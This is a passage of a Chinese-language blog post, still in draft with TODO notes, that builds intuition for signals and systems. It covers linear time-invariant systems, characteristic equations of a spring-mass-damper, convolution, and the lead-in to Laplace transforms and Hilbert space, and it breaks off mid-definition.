&lt;li&gt;&lt;a class="link" href="#%e4%b8%ba%e4%bb%80%e4%b9%88%e6%98%af%e5%be%ae%e5%88%86" &gt;为什么是微分&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e4%b8%ba%e4%bb%80%e4%b9%88%e6%98%af%e6%96%b9%e7%a8%8b" &gt;为什么是方程&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e7%b3%bb%e7%bb%9f%e7%9a%84%e7%ba%bf%e6%80%a7%e5%92%8c%e6%97%b6%e5%8f%98" &gt;系统的线性和时变&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e9%97%ae%e9%a2%98%e7%9a%84%e7%ae%80%e5%8c%96-%e6%b6%88%e9%99%a4%e9%9d%9e%e7%ba%bf%e6%80%a7%e5%92%8c%e6%97%b6%e5%8f%98" &gt;问题的简化: 消除非线性和时变&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="#%e6%80%8e%e6%a0%b7%e6%b6%88%e9%99%a4%e9%9d%9e%e7%ba%bf%e6%80%a7" &gt;怎样消除非线性&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e6%80%8e%e6%a0%b7%e6%b6%88%e9%99%a4%e6%97%b6%e5%8f%98" &gt;怎样消除时变&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e9%9b%b6%e8%be%93%e5%85%a5-lti-%e7%b3%bb%e7%bb%9f-%e9%bd%90%e6%ac%a1%e5%b8%b8%e5%be%ae%e5%88%86%e6%96%b9%e7%a8%8b" &gt;零输入 LTI 系统: 齐次常微分方程&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e6%9c%89%e8%be%93%e5%85%a5%e7%9a%84-lti-%e7%b3%bb%e7%bb%9f" &gt;有输入的 LTI 系统&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e7%8b%84%e6%8b%89%e5%85%8b%e5%87%bd%e6%95%b0" &gt;狄拉克函数&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%8d%b7%e7%a7%af%e7%9a%84%e6%9c%ac%e8%b4%a8%e6%98%af%e5%87%bd%e6%95%b0%e5%88%86%e8%a7%a3" &gt;卷积的本质是函数分解&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%88%9d%e6%ad%a5%e6%80%9d%e8%80%83%e6%8b%89%e6%99%ae%e6%8b%89%e6%96%af%e5%8f%98%e6%8d%a2" &gt;初步思考拉普拉斯变换&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%b8%8c%e5%b0%94%e4%bc%af%e7%89%b9%e7%a9%ba%e9%97%b4" &gt;希尔伯特空间&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e6%80%9d%e8%80%83%e6%89%80%e6%9c%89%e7%9a%84%e7%ba%bf%e6%80%a7%e5%b8%b8%e5%be%ae%e5%88%86%e6%96%b9%e7%a8%8b-%e7%94%b1-t-%e5%88%b0-s" &gt;思考所有的线性常微分方程: 由 t 到 s&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#est-%e7%9a%84%e6%8c%af%e8%8d%a1-%e9%a2%91%e7%8e%87" &gt;e^st 的振荡: 频率&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%82%85%e9%87%8c%e5%8f%b6%e5%88%86%e6%9e%90" &gt;傅里叶分析&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%82%85%e9%87%8c%e5%8f%b6%e7%ba%a7%e6%95%b0" &gt;傅里叶级数&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%82%85%e9%87%8c%e5%8f%b6%e5%8f%98%e6%8d%a2" &gt;傅里叶变换&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%af%b9%e5%81%b6%e6%80%a7" &gt;对偶性&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e6%8b%89%e6%99%ae%e6%8b%89%e6%96%af%e5%8f%98%e6%8d%a2-%e5%b8%a6%e4%b8%8a%e5%ae%9e%e9%83%a8" &gt;拉普拉斯变换: 带上实部&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%86%8d%e6%ac%a1%e6%80%9d%e8%80%83%e5%be%ae%e5%88%86%e6%96%b9%e7%a8%8b-%e5%be%ae%e5%88%86%e6%96%b9%e7%a8%8b%e7%9a%84%e5%ae%8c%e5%85%a8%e8%a7%a3" &gt;再次思考微分方程: 微分方程的完全解&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%bc%95%e5%85%a5%e7%ae%97%e5%ad%90%e8%a7%86%e8%a7%92" &gt;引入算子视角&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e7%ae%97%e5%ad%90%e4%bb%a3%e6%95%b0-%e7%b3%bb%e7%bb%9f%e7%9a%84%e6%9c%ac%e8%b4%a8" &gt;算子代数, 系统的本质&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e7%89%b9%e5%be%81%e5%87%bd%e6%95%b0%e5%92%8c%e8%b0%b1" &gt;特征函数和谱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e4%bb%80%e4%b9%88%e6%98%af%e7%ae%97%e5%ad%90%e8%b0%b1" &gt;什么是算子谱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%88%86%e6%9e%90%e7%a6%bb%e6%95%a3%e4%bb%8e%e5%87%bd%e6%95%b0%e5%88%b0%e6%95%b0%e5%88%97" &gt;分析离散（从函数到数列）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%b9%ba%e6%ad%a3%e7%ae%97%e5%ad%90" &gt;幺正算子&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="什么是信号与系统"&gt;什么是信号与系统
&lt;/h2&gt;&lt;h3 id="耳机功放-大语言模型-人类"&gt;耳机功放, 大语言模型, 人类
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;TODO&lt;/strong&gt;: 我需要一个更加有趣的一些现实例子, 引出为什么我们想抽象出系统这个词. 也许应该举出一些在信号与系统学科出现之前就出现的东西, 比如大桥. 风吹过大桥, 产生了振荡.&lt;/p&gt;
&lt;h3 id="对信号和系统的抽象-从实体到关系"&gt;对信号和系统的抽象: 从“实体”到“关系”
&lt;/h3&gt;&lt;p&gt;我们创造了信号与系统这个概念. 我们用 $H$ 指代系统. 对系统输入 $x(t)$ 信号(激励), 系统对 $x(t)$ 做一系列复杂而无法直接测量的操作, 最终可以得到 $y(t)$ 信号(响应).&lt;/p&gt;
&lt;p&gt;$$
\underset{\text{激励}}{x(t)} \rightarrow \underset{存在即被观察}{\boxed{H}} \rightarrow \underset{\text{响应}}{y(t)}
$$&lt;/p&gt;
&lt;p&gt;系统是复杂的, 我们不能直接测量一个系统, 系统之所以能存在, 取决于系统能被观察, 而观察的途径是测量它的输入和输出. 这话是不是颇有哲学意味? 我们不知道现实的放大器发生了什么, 却知道它放大了电压幅值. 我们很难直接知道一个现代大模型内部发生什么运算, 我们只能输入一段 token, 得到一段 token. 只能通过感知它的输入和输出. 我不知道你的大脑里想什么, 却只能知道我给你一段音频, 你返回一些音频.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;如果用数学来表达信号, 很显然我们可以用函数. 但系统呢? 我们用什么数学工具描述一个系统?&lt;/p&gt;
&lt;h2 id="描述系统的工具-微分方程"&gt;描述系统的工具: 微分方程
&lt;/h2&gt;&lt;p&gt;如果你是学习过信号与系统的学生, 你当然知道我们一直在研究微分方程. 但是你是否思考过为什么信号与系统一定要研究那么多微分方程?&lt;/p&gt;
&lt;p&gt;如果搞不清这个问题, 那不搞研究就变成做题了. 如果找不到做一件事情的意义, 我连一点做这件事的动力都没有.&lt;/p&gt;
&lt;p&gt;信号与系统需要微分方程, 这一点并不是偶然想到的, 而是必然只能用微分方程. 现在我们来找我们刚刚想要的意义.&lt;/p&gt;
&lt;h3 id="为什么一定是微分方程"&gt;为什么一定是微分方程
&lt;/h3&gt;&lt;p&gt;微分方程有两个特点, 一个特点是微分, 另一个特点是方程. 这听起来像一句废话. 但这两个特点恰好完美符合我们的需求.&lt;/p&gt;
&lt;h4 id="为什么是微分"&gt;为什么是微分
&lt;/h4&gt;&lt;p&gt;既然我们只能通过输入和输出之间的变化来定义系统，那么我们需要一种能描述&lt;strong&gt;变化之间相关性&lt;/strong&gt;的语言. 这涉及到一个&lt;strong&gt;哲学前提&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;因果的连续性&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;如果我们假设自然界的变化是连续的，那么系统在“这一秒”的状态，必然取决于它“前一毫秒”的状态, 以及当下的输入.&lt;/p&gt;
&lt;p&gt;系统的特征不体现在某个孤立的时刻，而体现在&lt;strong&gt;状态改变的速率&lt;/strong&gt;上.&lt;/p&gt;
&lt;p&gt;输入（推力）会导致输出的改变（加速度/速度变化）。在数学上，&lt;strong&gt;改变的快慢&lt;/strong&gt;就是&lt;strong&gt;导数（微分）&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;因此我们想描述“输入”与“输出的变化”之间关系，我们自然而然只能用微分.&lt;/p&gt;
&lt;h4 id="为什么是方程"&gt;为什么是方程
&lt;/h4&gt;&lt;p&gt;我们如果进一步思考: 系统之所以被称为系统，是因为&lt;strong&gt;它遵循某种内在的法则&lt;/strong&gt;. 比如能量是守恒的, 电荷是守恒的.&lt;/p&gt;
&lt;p&gt;换句话说: 系统的物理属性（质量、电阻、弹性）实际上是输入和输出之间的&lt;strong&gt;比例约束&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我们要研究系统，其实是在找那个不变的规则。&lt;/p&gt;
&lt;p&gt;这个规则通常表现为：输出的某种组合（比如位移和速度）必须平衡掉输入的能量。&lt;/p&gt;
&lt;p&gt;微分方程本质上就是&lt;strong&gt;记录这种能量/信息流动&lt;/strong&gt;。它告诉我们，为了维持某种物理平衡，输出及其各阶变化率必须与输入达成怎样的比例。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;我们无法直接看到系统的“灵魂”，但可以看到它的“行为”。系统的行为不是静态的照片，而是一连串的反应过程。&lt;/p&gt;
&lt;p&gt;既然是反应过程，就意味着输出的变化（导数）与当下的输入（函数值）之间存在某种固定的规则。微分方程正是捕捉这种‘瞬间’的相机, 把原本难以捉摸的内部构造，转化成了输入与输出之间必须遵守的规则.&lt;/p&gt;
&lt;p&gt;总之我们现在发现了微分方程的特性符合我们的需求, 微分方程可以方便的表示输入的形式和输出的形式和关系, 却很难直接解出系统. 我们想分析系统, 其实就是想分析微分方程.&lt;/p&gt;
&lt;h3 id="系统的线性和时变"&gt;系统的线性和时变
&lt;/h3&gt;&lt;p&gt;看到标题懵了, 什么是时变什么是线性, 线性这个词竟然能描述一个系统? 慢慢解释一下, 我仅仅只是为了保证文章看起来有结构一点才把这个词摆到标题来.&lt;/p&gt;
&lt;p&gt;我们刚刚提到了耳机功放的例子, 功放的学术一点的名字叫放大器.&lt;/p&gt;
&lt;p&gt;我们理想上的放大器, 仅仅只把 $x(t)$ 电压信号的纵轴进行缩放, 对电压进行等比例放大或缩小, 对吧? $H$ 对 $x(t)$ 的作用是 $y(t)=Ax(t)$, 我们能类比为等比例函数, 显然它就是线性的.&lt;/p&gt;
&lt;p&gt;但现实中的放大器是什么呢? 首先它有最大输出电压 $V_{dd}$, 那现在它就是分段函数. 显然这个时候不线性了, 它是分段的. 而且可能放大器对不同的信号放大效果也许不同, 中间的那条线甚至可能不是条直线而是扭扭曲曲的了. 超过了 $V_{dd}$, 功放就会爆音. 不完美输出 $x(t)$ 的等比例缩放, 这是功放的失真.&lt;/p&gt;
&lt;p&gt;这意味着输出 $y(t)$ 是关于输入 $x(t)$ 的一个复杂函数 $f(x)$, &lt;strong&gt;这就是系统的非线性&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Hifi 圈买来耳机想放一段时间音乐, 煲机, 才能达到更好播放效果. 功放随着电路发热、元件老化，可能耳机和功放的性能会下降. 显卡跑 3A 大作, 用着用着发热了, 性能下降, 帧数变低.&lt;/p&gt;
&lt;p&gt;系统的参数 $A$ 会随时间 $t$ 漂移。这时系统变成了 $y(t)=A(t)⋅x(t)$. &lt;strong&gt;这就是系统的时变&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;如果我们直接研究这种现实中的系统，数学上会立刻陷入非线性时变微分方程的泥潭，这类方程大多没有通解，且对初始条件极度敏感. 因此我们想简化问题, 先看看简单的情况, 我们现在只研究&lt;strong&gt;线性时不变系统&lt;/strong&gt;, 即: 线性的, 不随时间变化的系统, 翻译一下叫 &lt;strong&gt;Linear Time-Invariant System&lt;/strong&gt;, 以后我们简称这样的系统叫 &lt;strong&gt;LTI 系统&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id="问题的简化-消除非线性和时变"&gt;问题的简化: 消除非线性和时变
&lt;/h2&gt;&lt;p&gt;我们想简化问题, 只研究 LTI 系统, 换句话说我们不想有非线性和时变. 怎么在数学上表达我们的需求呢?&lt;/p&gt;
&lt;h3 id="怎样消除非线性"&gt;怎样消除非线性
&lt;/h3&gt;&lt;p&gt;如果我们把系统的响应函数 $f(x)$ 进行泰勒展开:&lt;/p&gt;
&lt;p&gt;$$
f(x) = f(0) + f&amp;rsquo;(0)x + \frac{f&amp;rsquo;&amp;rsquo;(0)}{2!} x^2 + \frac{f&amp;rsquo;&amp;rsquo;&amp;rsquo;(0)}{3!} x^3 + \dots
$$&lt;/p&gt;
&lt;p&gt;你可以非常直观地看到, $f(x)$ 非线性的来源, 就是这些非线性项. 我们直接把非线性项人为置零, 并且消除偏置(去掉 $f(0)$, 假设没有输入就没有输出), 这就是数学上的线性.&lt;/p&gt;
&lt;p&gt;$$
f(x) \approx Ax \quad (\text{其中 } A = f&amp;rsquo;(0), \text{ 忽略高阶项 } x^n)
$$&lt;/p&gt;
&lt;p&gt;结果我们就得到了 $y=Ax$ ,这就是线性化. 我们只抓住主要矛盾, 不看次要矛盾.&lt;/p&gt;
&lt;p&gt;但这只是描述了怎样的函数才是线性的. 为什么微分方程也能是线性的呢? 这也是关键的一步跳跃。我们刚才说到, 我们要研究的不仅是 $y$ 和 $x$ 的关系，还有它们变化率的关系.&lt;/p&gt;
&lt;p&gt;事实上我们可以发现, &lt;strong&gt;微分运算本身也是线性的&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;为什么这么说?&lt;/p&gt;
&lt;p&gt;如果我们定义微分算子 $D$:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TODO: 此处直接提出算子是否不太合适?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;$$
\hat{D} = \frac{d}{dt}
$$&lt;/p&gt;
&lt;p&gt;你会发现:&lt;/p&gt;
&lt;p&gt;$$
\hat{D}[a \cdot x_1(t) + b \cdot x_2(t)] = a \frac{d x_1(t)}{dt} + b \frac{d x_2(t)}{dt} = a \hat{D}x_1(t) + b \hat{D}x_2(t)
$$&lt;/p&gt;
&lt;p&gt;此时我们的逻辑才完成了闭环: 既然我们通过泰勒展开把“函数关系”变线性了, 而且“微分运算”天生就是线性的, 那么把它们组合起来的微分方程 (例如 $a_n D^n y + &amp;hellip; = b_m D^m y$ ) 也就自然可以继承这种线性特质.&lt;/p&gt;
&lt;h3 id="怎样消除时变"&gt;怎样消除时变
&lt;/h3&gt;&lt;p&gt;我们刚才提到的“让输出与之前的输入不相干”, 在时间上体现为: &lt;strong&gt;系统的记忆特质必须是恒定的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;时不变, 意味着系统对信号的“加工能力”不随时间流逝而改变。如果你今天给它一个信号，它这样反应；明天给它同样的信号，它还是一样的反应。&lt;/p&gt;
&lt;p&gt;在微分方程中，这意味着描述系统特性的系数（如电阻 $R$、电感 $L$、质量 $m$）不能是时间 $t$ 的函数。&lt;/p&gt;
&lt;p&gt;如果系数是常数，这就是常系数微分方程&lt;/p&gt;
&lt;p&gt;如果系数随时间变 (如 $t^2 y′′ + t^2 y′ + y = x$), 自然, 系统就是时变的了.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;我们现在费尽心思消除了非线性和时变, 不是为了偷懒, 这是从哲学上的思考出发的, 这是&lt;strong&gt;叠加原理&lt;/strong&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;因为系统是线性的，我们可以把复杂的信号拆解成无数个简单的“小信号”之和。&lt;/li&gt;
&lt;li&gt;因为系统是时不变的，我们处理这些“小信号”时，不需要考虑它们发生的先后顺序。&lt;/li&gt;
&lt;li&gt;最终目我们可以通过研究系统对一个最简单的信号的反应, 把这些最简单的反应进行叠加组合, 就能推导出它对任何复杂信号的反应。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此我们的现在只会研究类似这样的方程:&lt;/p&gt;
&lt;p&gt;$$
P(D)y(t) = Q(D)x(t), \quad D = \frac{d}{dt} \newline
\text{其中,} \quad P(D) = \sum_{k=0}^{N} a_k D^k
$$&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="零输入-lti-系统-齐次常微分方程"&gt;零输入 LTI 系统: 齐次常微分方程
&lt;/h3&gt;&lt;p&gt;如果进一步简化问题, 只讨论零输入系统, 这意味着不再对 $x(t)$ 作考虑. 那么, 微分方程可能类似这样:&lt;/p&gt;
&lt;p&gt;$$
A \frac{d^2 y(t)}{dt^2} + B \frac{d y(t)}{dt} + C y(t) = 0
$$&lt;/p&gt;
&lt;p&gt;我们已经知道, 微分方程让我们能表示系统, 现在这个方程翻译一下就是, 这个系统跟输入没关系, 但和它自身的状态有关系. 这么说可能很抽象, 我们举一个现实中的例子你就会理解: 弹簧-质量-阻尼系统.&lt;/p&gt;
&lt;p&gt;想象这样一个装置:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/signals_and_systems/image.png"
width="2256"
height="1098"
srcset="https://v3n0.com/post/2026/signals_and_systems/image_hu_3063b79f20638f9.png 480w, https://v3n0.com/post/2026/signals_and_systems/image_hu_15b6b0574e27ed5d.png 1024w"
loading="lazy"
alt="弹簧-质量-阻尼系统"
class="gallery-image"
data-flex-grow="205"
data-flex-basis="493px"
&gt;&lt;/p&gt;
&lt;p&gt;一个质量块 $m$, 你知道 $F=ma$, 质量越大惯性越大越不爱动.&lt;/p&gt;
&lt;p&gt;有阻尼系数 $c$ ,比如空气阻力, 阻尼可能随速度成正比 $c$.&lt;/p&gt;
&lt;p&gt;有弹簧, 弹性系数 $k$, 拉的距离越大, 它往原点的力越大.&lt;/p&gt;
&lt;p&gt;$$
my&amp;rsquo;&amp;rsquo; + cy&amp;rsquo; + ky = 0
$$&lt;/p&gt;
&lt;p&gt;你把它拉开放手, 它就想弹回去, 有质量, 加速度低, 就刹不住车, 弹来弹去. 有阻尼, 振幅就越来越小, 最终就会归为原点.&lt;/p&gt;
&lt;p&gt;我们此时现在实际上想研究的问题是, 我们好奇系统如果有这样的质量, 阻尼, 弹性系数时, 我们的弹簧会呈现怎样的运动.&lt;/p&gt;
&lt;p&gt;换句话说, 我们想知道对于这样的方程, 如何找到 $y(t)$.&lt;/p&gt;
&lt;p&gt;事实上你可以想到, 滑块根据它的初速度, 初始位置的不同, 肯定会有无穷多种运动样式, 有的振幅大有的振幅小, 有的先向左有的先向右.&lt;/p&gt;
&lt;p&gt;我们想找到一个通解的模式, 这样就能根据系统的初始状态, 得到通解中的某一个特解.&lt;/p&gt;
&lt;p&gt;问题来了, 我们的通解, 我们各种各样的 $y(t)$, 应该会长成什么样子呢?&lt;/p&gt;
&lt;p&gt;我们这里虽然只是一个二阶的微分方程, 但别忘了我们实际上系统可能远比这个系统复杂, 可能 $y(t)$ 会被微分无数次. $y(t)$ 如果每微分一次, 就大变模样, 显然会难以适用于各种微分方程.&lt;/p&gt;
&lt;p&gt;我们希望 $y(t)$ 最好可以只由一个初等函数组成, 并且这个初等函数对微分运算保持线性. 换句话说, 我们希望它反复求导的时候, 不会变的越来越复杂.&lt;/p&gt;
&lt;p&gt;这样一来, 意味着我们在对它做微分运算时, 可以让我们抛掉 $t$ 的相关性, 对它微分不会产生新的关于 $t$ 的奇怪东西. 也就是每求一次导，只是多了一个常数, 再求一次导，也只是再多一个常数, 那它代进微分方程时，所有项就都能合并起来。&lt;/p&gt;
&lt;p&gt;这样一来，微分方程中所有关于变化率的项，都可以被统一成&lt;strong&gt;同一个函数因子的倍数&lt;/strong&gt;，问题就从“解函数”变成了“解常数”。&lt;/p&gt;
&lt;p&gt;初等函数只有那么几个. 不管通过直觉, 还是通过排除法, 我们都能发现, 我们想要的函数实际上就是&lt;strong&gt;指数函数&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;$$
\frac{de^{\blacksquare t}}{dt} = \blacksquare e^{\blacksquare t}
$$&lt;/p&gt;
&lt;p&gt;我们如果就真的让 $y(t) = e^{\blacksquare t}$, 此时:&lt;/p&gt;
&lt;p&gt;$$
A\blacksquare^2 e^{\blacksquare t} + B\blacksquare e^{\blacksquare t} + Ce^{\blacksquare t} = 0
$$&lt;/p&gt;
&lt;p&gt;这时候, 正如我们刚刚所料, 发现 $e^t$ 果然可以提取, 就是:&lt;/p&gt;
&lt;p&gt;$$
e^{\blacksquare t}(A\blacksquare^2 + B\blacksquare + C) = 0
$$&lt;/p&gt;
&lt;p&gt;指数函数, 这样一个初等函数, 确实可以让我们在不用关心 $t$ 的情况下就可以表示出这个系统.&lt;/p&gt;
&lt;p&gt;方框的 latex &lt;code&gt;\blacksquare&lt;/code&gt; 打的有点累, 所以我后面就把它写成 $s$. 你知道它就只是个符号而已. 你是信号与系统的发明者, 你可以自己发明任何符号.&lt;/p&gt;
&lt;p&gt;$$
e^{st}(As^2 + Bs + C) = 0
$$&lt;/p&gt;
&lt;p&gt;总之, 我们想分析零输入的线性时不变系统, 想分析那种刚刚复杂的 n 阶常微分方程, 竟然可以在不丢失任何信息的情况下, 只需要分析一个简单的多项式:&lt;/p&gt;
&lt;p&gt;$$
As^2 + Bs + C = 0
$$&lt;/p&gt;
&lt;p&gt;要让上面的微分方程成立, 只需要让这个多项式成立.&lt;/p&gt;
&lt;p&gt;它其实被叫做&lt;strong&gt;特征方程&lt;/strong&gt;, 名字很好理解, 它就是这个系统的特征.&lt;/p&gt;
&lt;p&gt;刚刚说到因为这是一个线性系统, 实际上微分方程的解我们可以想象到是 $e^{st}$ 在 s 取不同值时候的线性组合. 我们想象微分方程的解空间是一个矩阵空间, 那 $e^{st}$ 实际上是这个空间的基变量, 通解实际上是基变量张成的空间.&lt;/p&gt;
&lt;p&gt;我们选择 $e^{st}$ 作为“基函数”, 本质上是因为它是微分运算的&amp;quot;本征函数&amp;quot;, 这里暂时不展开说.&lt;/p&gt;
&lt;p&gt;因为这里讨论的是二阶, 所以通解应该可以写成&lt;/p&gt;
&lt;p&gt;$$
y(t) = ae^{s_1 t} + be^{s_2 t}
$$&lt;/p&gt;
&lt;p&gt;我们其实还没把方程解完. 最终我们想让 $s$ 里只包含 ABC. 简单想到用一元二次的求根公式:&lt;/p&gt;
&lt;p&gt;$$
s_1 = \frac{-B+\sqrt{B^2-4AC}}{2A} \newline
s_2 = \frac{-B-\sqrt{B^2-4AC}}{2A}
$$&lt;/p&gt;
&lt;p&gt;但这样明显是有问题的, 不能直接把 $s_1$, $s_2$ 带入进去. 我们会发现其实需要分情况讨论这个 $s$.&lt;/p&gt;
&lt;p&gt;$$
\Delta = 0, s_1 = s_2 = \frac{-B}{2A}, 重根 \newline
\Delta &amp;gt; 0, s_1, s_2 \in \mathbb{R}
$$&lt;/p&gt;
&lt;p&gt;当 $\Delta &amp;lt; 0$ 时, 我们已经需要讨论 $s$ 是一个复数的情况, 我们一般把 $s$ 表示成 $\alpha + j\omega$. 利用欧拉公式可以把 $e^{st}$ 做这样的变换:&lt;/p&gt;
&lt;p&gt;$$
e^{st} = e^{(\alpha + j\omega)t} = e^{\alpha t} e^{j\omega t} \newline
e^{st} = e^{\alpha t}(\cos{\omega t} + j\sin{\omega t})
$$&lt;/p&gt;
&lt;p&gt;上面的求根公式的实部和虚部可以由此对应到这样的实部和虚部:&lt;/p&gt;
&lt;p&gt;$$
\alpha = -\frac{B}{2A} \quad,\quad \omega = \frac{\sqrt{4AC - B^2}}{2A}
$$&lt;/p&gt;
&lt;p&gt;至此我们求完了这样一个微分方程, 的通解. 注意感受一下, 微分方程的解是函数. 理解一下特解, 特解是什么? 比如给定: $y(0)$ 和 $y&amp;rsquo;(0)$, 我们当然可以找到这样的系统状态对应的输出 $y(t)$ 的确切函数形式, 这个函数形式当然是符合通解的格式的. 或者说, 这个特解函数就是通解空间中的一个具体的向量.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;思考:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;为什么我们只要两个不同的 $e^{st}$ 就可以表示出通解? 为什么不是三个?&lt;/li&gt;
&lt;li&gt;为什么&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="有输入的-lti-系统"&gt;有输入的 LTI 系统
&lt;/h3&gt;&lt;p&gt;现在进一步思考, 现在看有输入的 LTI 系统. 换成微分方程的语言, 形式可能长这样(注意为了直观感受, 仍然只看二阶常微分方程, 实际上系统可以是 n 阶):&lt;/p&gt;
&lt;p&gt;$$
A \frac{d^2 y(t)}{dt^2} + B \frac{d y(t)}{dt} + C y(t) = D \frac{d^2 x(t)}{dt^2} + E \frac{d x(t)}{dt} + F x{t}
$$&lt;/p&gt;
&lt;p&gt;我们已经知道怎么处理这样的问题了, 我们可以只研究特征方程.&lt;/p&gt;
&lt;h2 id="狄拉克函数"&gt;狄拉克函数
&lt;/h2&gt;&lt;p&gt;有没有有种函数信号, 适用于所有的系统, 作为统一度量衡, 激发出的函数可以显露系统所有模态?&lt;/p&gt;
&lt;p&gt;想适用于所有系统, 意味着时间无关, 并且能量有限, 自然能想到如何构造.&lt;/p&gt;
&lt;h2 id="卷积的本质是函数分解"&gt;卷积的本质是函数分解
&lt;/h2&gt;&lt;p&gt;思考能否把系统对信号的作用写成函数形式.&lt;/p&gt;
&lt;p&gt;$\delta (t)$ 得到 $h(t)$.&lt;/p&gt;
&lt;p&gt;$x(t)$ 得到 $y(t)$&lt;/p&gt;
&lt;p&gt;$x(t)$ 本质可以分解为无数个 $\delta(t)$ 时移后的加权和, 时移的长度就是 $\tau$, 权就是 $x(t)$. 因此 $x(t)$ 应该可以被写成积分:&lt;/p&gt;
&lt;p&gt;$$
x(t) = \int_{-\infty}^{\infty} x(\tau)\delta(t-\tau) d\tau
$$&lt;/p&gt;
&lt;p&gt;我们知道一个 $\delta(t)$ 会激发出对应时移加权之后的 $h(t)$, $y(t)$ 应当也可以写成无数个 $h(t)$ 的时移加权和.&lt;/p&gt;
&lt;p&gt;$$
y(t) = \int_{-\infty}^{\infty} y(t)h(t-\tau) d\tau
$$&lt;/p&gt;
&lt;p&gt;但 $y(t)$ 应该也可以分解到 $\delta(t)$ 上.&lt;/p&gt;
&lt;p&gt;我们现在可以发明卷积. 我们用函数的方式表示出时域上表示系统对信号的作用, 这个作用是 $h(t)$&lt;/p&gt;
&lt;p&gt;$$
x(t)*h(t) = \int_{-\infty}^{\infty} x(\tau) h(t - \tau) d\tau
$$&lt;/p&gt;
&lt;h2 id="初步思考拉普拉斯变换"&gt;初步思考拉普拉斯变换
&lt;/h2&gt;&lt;p&gt;这个计算是复杂的. 但我们刚刚发现特征方程之间的计算是简单的. 并且我们似乎找到了一个方式能从 $x(t)$ 获得 $X(s)$. 我们有这两个方程:&lt;/p&gt;
&lt;p&gt;$$
x(t) * h(t) = y(t) \newline
X(s)H(s) = Y(s)
$$&lt;/p&gt;
&lt;p&gt;假如我们能找到一种运算, 定义出它, 以及它的逆运算, 那么我们在计算 $x(t)*h(t)$ 的时候, 就可以做到直接用这个运算, 把 $x(t)$ 和 $h(t)$ 变成 $X(s)$ 和 $H(s)$, 我们就只需要计算 $X(s)H(s)=Y(s)$ 这样的单次乘法运算, 再把 $Y(s)$ 逆运算回 $y(t)$ 就可以得到结果.&lt;/p&gt;
&lt;p&gt;那么我们怎样找到这个运算呢?&lt;/p&gt;
&lt;h2 id="希尔伯特空间"&gt;希尔伯特空间
&lt;/h2&gt;&lt;p&gt;如果把函数看作无限维向量, $x(t)$ 和 $X(s)$ 各自构成了自己的函数空间. 想找到拉普拉斯变换, 实际上想找到两个函数空间之间的映射关系.&lt;/p&gt;
&lt;p&gt;我们需要先想办法定义函数空间. 空间需要有正交基. 向量和向量之间的正交是靠内积定义的, 内积为 0 则正交. 那么需要先定义函数的内积是什么.&lt;/p&gt;
&lt;p&gt;内积运算, 是两个向量之间的运算, 得到一个数值而不是向量. 意味着函数和函数的内积应该是值而不是另一个函数, 意味着需要积分.&lt;/p&gt;
&lt;p&gt;注意我们的函数参数和值是复数域, 意味着复数域上的方向性也需要消除. 实现的办法是取虚数的共轭.&lt;/p&gt;
&lt;p&gt;因此定义函数内积如下:&lt;/p&gt;
